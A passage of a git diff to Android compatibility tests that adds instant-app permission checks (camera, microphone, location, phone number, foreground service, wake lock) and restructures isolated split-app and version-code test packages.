+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ } finally {
+ TrafficStats.clearThreadStatsUid();
+ }
+ return null;
+ }
+ default: {
+ throw new UnsupportedOperationException();
+ }
+ }
+ }
+
+ private EchoServer server;
+
+ private static class EchoServer extends Thread {
+ final ServerSocket server;
+ volatile boolean halted = false;
+
+ public EchoServer() {
+ try {
+ server = new ServerSocket(0);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public void halt() {
+ halted = true;
+ try {
+ server.close();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ public void run() {
+ while (!halted) {
+ try {
+ final Socket socket = server.accept();
+ socket.setTcpNoDelay(true);
+ final int val = socket.getInputStream().read();
+ socket.getOutputStream().write(val);
+ socket.getOutputStream().flush();
+ socket.close();
+ } catch (IOException e) {
+ Log.w(TAG, e);
+ }
+ }
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index ed3c3cf..8f39344 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -21,7 +21,16 @@
android:minSdkVersion="25" />
<uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.CAMERA" />
+ <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.INTERNET" />
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
+ <uses-permission android:name="android.permission.VIBRATE" />
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+
<application
android:label="@string/app_name">
<uses-library android:name="android.test.runner" />
@@ -88,6 +97,7 @@
<action android:name="com.android.cts.ephemeraltest.QUERY" />
</intent-filter>
</provider>
+ <service android:name=".SomeService"/>
</application>
<instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 8ecd860..0db23d4 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -16,14 +16,19 @@
package com.android.cts.ephemeralapp1;
+import static android.media.AudioFormat.CHANNEL_IN_MONO;
+import static android.media.AudioFormat.ENCODING_PCM_16BIT;
+import static android.media.MediaRecorder.AudioSource.MIC;
import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
import android.Manifest;
-import android.annotation.Nullable;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.content.ActivityNotFoundException;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -36,18 +41,29 @@
import android.content.pm.ProviderInfo;
import android.content.pm.ResolveInfo;
import android.database.Cursor;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.media.AudioRecord;
+import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
import android.os.IBinder;
-import android.os.ServiceManager.ServiceNotFoundException;
-import android.provider.CalendarContract;
-import android.provider.ContactsContract;
-import android.provider.MediaStore;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
-import android.test.InstrumentationTestCase;
+import android.telephony.CellLocation;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestThread;
import com.android.cts.util.TestResult;
import org.junit.After;
@@ -55,10 +71,9 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.Arrays;
+import java.io.IOException;
import java.util.List;
-import java.util.ServiceConfigurationError;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.TimeUnit;
@@ -85,6 +100,7 @@
"com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
private BroadcastReceiver mReceiver;
+ private PhoneStateListener mPhoneStateListener;
private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
@Before
@@ -958,6 +974,173 @@
}
}
+ @Test
+ public void testStartForegroundService() throws Exception {
+ final Context context = InstrumentationRegistry.getContext();
+ final Intent intent = new Intent(context, SomeService.class);
+
+ // Create a notification channel for the foreground notification
+ final NotificationChannel channel = new NotificationChannel("foo", "foo",
+ NotificationManager.IMPORTANCE_DEFAULT);
+ final NotificationManager notificationManager = context.getSystemService(
+ NotificationManager.class);
+ notificationManager.createNotificationChannel(channel);
+
+ // Shouldn't be able to start without a permission
+ final CountDownLatch latch1 = new CountDownLatch(1);
+ SomeService.setOnStartCommandCallback((int result) -> {
+ assertSame("Shouldn't be able to start without "
+ + " INSTANT_APP_FOREGROUND_SERVICE permission", 0, result);
+ latch1.countDown();
+ });
+ context.startForegroundService(intent);
+ latch1.await(5, TimeUnit.SECONDS);
+
+ // Now grant ourselves INSTANT_APP_FOREGROUND_SERVICE
+ grantInstantAppForegroundServicePermission();
+
+ // Should be able to start with a permission
+ final CountDownLatch latch2 = new CountDownLatch(1);
+ SomeService.setOnStartCommandCallback((int result) -> {
+ assertSame("Should be able to start with "
+ + " INSTANT_APP_FOREGROUND_SERVICE permission", 1, result);
+ latch2.countDown();
+ });
+ context.startForegroundService(intent);
+ latch2.await(5, TimeUnit.SECONDS);
+ }
+
+ @Test
+ public void testRecordAudioPermission() throws Throwable {
+ final AudioRecord record =
+ new AudioRecord(MIC, 8000, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, 4096);
+ try {
+ assertThat("audio record not initialized",
+ record.getState(), is(AudioRecord.STATE_INITIALIZED));
+ } finally {
+ record.release();
+ }
+ }
+
+ @Test
+ public void testReadPhoneNumbersPermission() throws Throwable {
+ final Context context = InstrumentationRegistry.getContext();
+ if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ try {
+ final TelephonyManager telephonyManager =
+ (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+ final String nmbr = telephonyManager.getLine1Number();
+ } catch (SecurityException e) {
+ fail("Permission not granted");
+ }
+ }
+
+ @Test
+ public void testAccessCoarseLocationPermission() throws Throwable {
+ final Context context = InstrumentationRegistry.getContext();
+ final ConnectivityManager mCm =
+ (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
+ if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+ return;
+ }
+
+ final TelephonyManager mTelephonyManager =
+ (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+ // getCellLocation should never return null, but that is allowed if the cell network type
+ // is LTE (since there is no LteCellLocation class)
+ if (mTelephonyManager.getNetworkType() != TelephonyManager.NETWORK_TYPE_LTE) {
+ assertThat(mTelephonyManager.getCellLocation(), is(notNullValue()));
+ }
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final TestThread t = new TestThread(() -> {
+ Looper.prepare();
+ mPhoneStateListener = new PhoneStateListener() {
+ @Override
+ public void onCellLocationChanged(CellLocation location) {
+ latch.countDown();
+ }
+ };
+ mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+ Looper.loop();
+ });
+ t.start();
+
+ try {
+ CellLocation.requestLocationUpdate();
+ assertThat(latch.await(1000, TimeUnit.MILLISECONDS), is(true));
+ } finally {
+ mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_NONE);
+ }
+ t.checkException();
+ }
+
+ @Test
+ public void testCameraPermission() throws Throwable {
+ final Context context = InstrumentationRegistry.getContext();
+ final CameraManager manager =
+ (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+ final String[] cameraIds = manager.getCameraIdList();
+ if (cameraIds.length == 0) {
+ return;
+ }
+ final CountDownLatch latch = new CountDownLatch(1);
+ final HandlerThread backgroundThread = new HandlerThread("camera_bg");
+ backgroundThread.start();
+ final CameraDevice.StateCallback callback = new CameraDevice.StateCallback() {
+ @Override
+ public void onOpened(CameraDevice camera) {
+ latch.countDown();
+ camera.close();
+ }
+ @Override
+ public void onDisconnected(CameraDevice camera) {
+ camera.close();
+ }
+ @Override
+ public void onError(CameraDevice camera, int error) {
+ camera.close();
+ }
+ };
+ manager.openCamera(cameraIds[0], callback, new Handler(backgroundThread.getLooper()));
+ assertThat(latch.await(1000, TimeUnit.MILLISECONDS), is(true));
+ }
+
+ @Test
+ public void testInternetPermission() throws Throwable {
+ final ConnectivityManager manager = (ConnectivityManager) InstrumentationRegistry.getContext()
+ .getSystemService(Context.CONNECTIVITY_SERVICE);
+ manager.reportNetworkConnectivity(null, false);
+ }
+
+ @Test
+ public void testVibratePermission() throws Throwable {
+ final Vibrator vibrator = (Vibrator) InstrumentationRegistry.getContext()
+ .getSystemService(Context.VIBRATOR_SERVICE);
+ final VibrationEffect effect =
+ VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
+ vibrator.vibrate(effect);
+ }
+
+ @Test
+ public void testWakeLockPermission() throws Throwable {
+ WakeLock wakeLock = null;
+ try {
+ final PowerManager powerManager = (PowerManager) InstrumentationRegistry.getContext()
+ .getSystemService(Context.POWER_SERVICE);
+ wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "test");
+ wakeLock.acquire();
+ }
+ finally {
+ if (wakeLock != null && wakeLock.isHeld()) {
+ wakeLock.release();
+ }
+ }
+ }
+
private TestResult getResult() {
final TestResult result;
try {
@@ -971,6 +1154,12 @@
return result;
}
+ private static void grantInstantAppForegroundServicePermission() throws IOException {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "pm grant " + InstrumentationRegistry.getContext().getPackageName()
+ + " " + Manifest.permission.INSTANT_APP_FOREGROUND_SERVICE);
+ }
+
private static Intent makeIntent(String action, String category, String mimeType) {
Intent intent = new Intent(action);
if (category != null) {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java
new file mode 100644
index 0000000..116067a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.function.IntConsumer;
+
+public class SomeService extends Service {
+ private static IntConsumer sCallback;
+
+ public static void setOnStartCommandCallback(IntConsumer callback) {
+ sCallback = callback;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ final Notification.Builder builder = new Notification.Builder(this, "foo")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .setContentTitle("foo")
+ .setWhen(System.currentTimeMillis())
+ .setOngoing(true);
+ try {
+ startForeground(1, builder.build());
+ stopSelf(startId);
+ } catch (Exception e) {
+ sCallback.accept(0);
+ return START_NOT_STICKY;
+ }
+ sCallback.accept(1);
+ return START_NOT_STICKY;
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 0834642..3231710 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -18,20 +18,25 @@
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_SDK_VERSION := current
+# Feature splits are dependent on this base, so it must be exported.
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
-# Tag this module as a cts test artifact
-
include $(BUILD_CTS_SUPPORT_PACKAGE)
+# Build the other splits.
include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 48b4e3b..dd76592 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -17,20 +17,32 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Feature splits are dependent on this split, so it must be exported.
LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
LOCAL_AAPT_FLAGS += --package-id 0x80
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d3aed1d..958b8d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_a"
featureSplit="feature_a">
<application>
- <activity android:name=".feature_a.FeatureAActivity">
+ <activity android:name=".FeatureAActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_a.FeatureAReceiver">
+ <receiver android:name=".FeatureAReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 64b5fc3..240fc2c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -17,19 +17,29 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base and feature A.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
LOCAL_AAPT_FLAGS += --package-id 0x81
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 00c2d6c..d89a1f2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,19 +15,19 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_b"
featureSplit="feature_b">
<uses-split android:name="feature_a" />
<application>
- <activity android:name=".feature_b.FeatureBActivity">
+ <activity android:name=".FeatureBActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_b.FeatureBReceiver">
+ <receiver android:name=".FeatureBReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index f21d1d0..35b3252 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -17,19 +17,29 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
-LOCAL_AAPT_FLAGS += --package-id 0x82
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Use the same package ID as feature A, since this is an isolated split and
+# will not be loaded together with feature A.
+LOCAL_AAPT_FLAGS += --package-id 0x80
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index ac3a57f..64b087c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_c"
featureSplit="feature_c">
<application>
- <activity android:name=".feature_c.FeatureCActivity">
+ <activity android:name=".FeatureCActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_c.FeatureCReceiver">
+ <receiver android:name=".FeatureCReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 2f6af13..b85e21b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -45,15 +45,20 @@
@RunWith(AndroidJUnit4.class)
public class SplitAppTest {
private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+
private static final ComponentName FEATURE_A_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
private static final ComponentName FEATURE_B_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
private static final ComponentName FEATURE_C_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
- private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
- private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
- private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+ private static final String FEATURE_A_STRING =
+ "com.android.cts.isolatedsplitapp.feature_a:string/feature_a_string";
+ private static final String FEATURE_B_STRING =
+ "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
+ private static final String FEATURE_C_STRING =
+ "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
private static final Configuration PL = new Configuration();
static {
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk
new file mode 100644
index 0000000..6047ca5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Android.mk
@@ -0,0 +1,21 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
new file mode 100644
index 0000000..db83bb0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion000000000000ffff
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
new file mode 100644
index 0000000..2a63cd7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.majorversion"
+ android:versionCodeMajor="0x00000000" android:versionCode="0x0000ffff">
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..4fe9fed
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+ public static final long PACKAGE_VERSION = 0x000000000000ffffL;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
new file mode 100644
index 0000000..dd32f59
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
